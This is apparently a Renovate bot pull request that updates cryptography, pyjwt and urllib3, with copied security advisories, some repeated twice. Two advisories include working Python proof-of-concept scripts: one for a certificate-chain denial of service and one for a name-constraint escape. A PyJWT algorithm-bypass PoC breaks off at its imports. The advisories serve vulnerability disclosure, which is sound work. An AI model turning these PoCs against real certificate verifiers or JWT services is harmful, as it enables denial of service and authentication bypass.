Skip to content

chore(deps): [oracle-bigquery-mcp-agent] Update vulnerabilityAlerts to v50.0.2 [SECURITY] - #725

Open
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/oracle-bigquery-mcp-agent-vulnerabilityalerts
Open

renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/oracle-bigquery-mcp-agent-vulnerabilityalerts

Conversation

@renovate-bot

@renovate-bot renovate-bot commented Sep 30, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
cryptography (changelog) 50.0.1 → 50.0.2 age confidence
pyjwt 2.13.0 → 2.15.1 age confidence
urllib3 (changelog) 2.7.0 → 2.8.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829
PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)
Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")
Impact

Acceptance of invalid certificate chain.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829
PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)
Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")
Impact

Acceptance of invalid certificate chain.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

  1. invalid RSA padding → Decryption failed
  2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
  3. correct length, wrong key → Invalid padding bytes.
  4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

  1. invalid RSA padding → Decryption failed
  2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
  3. correct length, wrong key → Invalid padding bytes.
  4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: Algorithm allow-list bypass when decoding with PyJWK / PyJWKClient keys

CVE-2026-48523 / GHSA-jq35-7prp-9v3f

More information

Details

[!NOTE]
Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.

PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.

Summary

PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.

In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.

This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.

Details

In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:

if algorithms is None and isinstance(key, PyJWK):
    algorithms = [key.algorithm_name]

...

if not alg or (algorithms is not None and alg not in algorithms):
    raise InvalidAlgorithmError("The specified alg value is not allowed")

if isinstance(key, PyJWK):
    alg_obj = key.Algorithm
    prepared_key = key.key
else:
    alg_obj = self.get_algorithm_by_name(alg)
    prepared_key = alg_obj.prepare_key(key)

This logic means:

  1. The JWT header alg is checked only as a string against the caller-supplied allow-list.
  2. If the key is a PyJWK, the actual verifier is not selected from the header algorithm.
  3. Instead, PyJWT always verifies with key.Algorithm, which is fixed when the PyJWK object is created.

PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:

if not algorithm and isinstance(self._jwk_data, dict):
    algorithm = self._jwk_data.get("alg", None)

...

self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)

So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.

The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:

signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
    token,
    signing_key,
    audience="https://expenses-api",
    options={"verify_exp": False},
    algorithms=["RS256"],
)

PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.

This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:

  • self-service OAuth client assertions
  • multi-tenant key registration
  • federation / BYO-JWKS trust models
  • any system where external parties sign JWTs with their own registered keys

In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.

The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.

This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#&#8203;886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.

PoC

Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.

Install dependencies:

python -m pip install pyjwt==2.12.1 cryptography

Run the following script:

import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
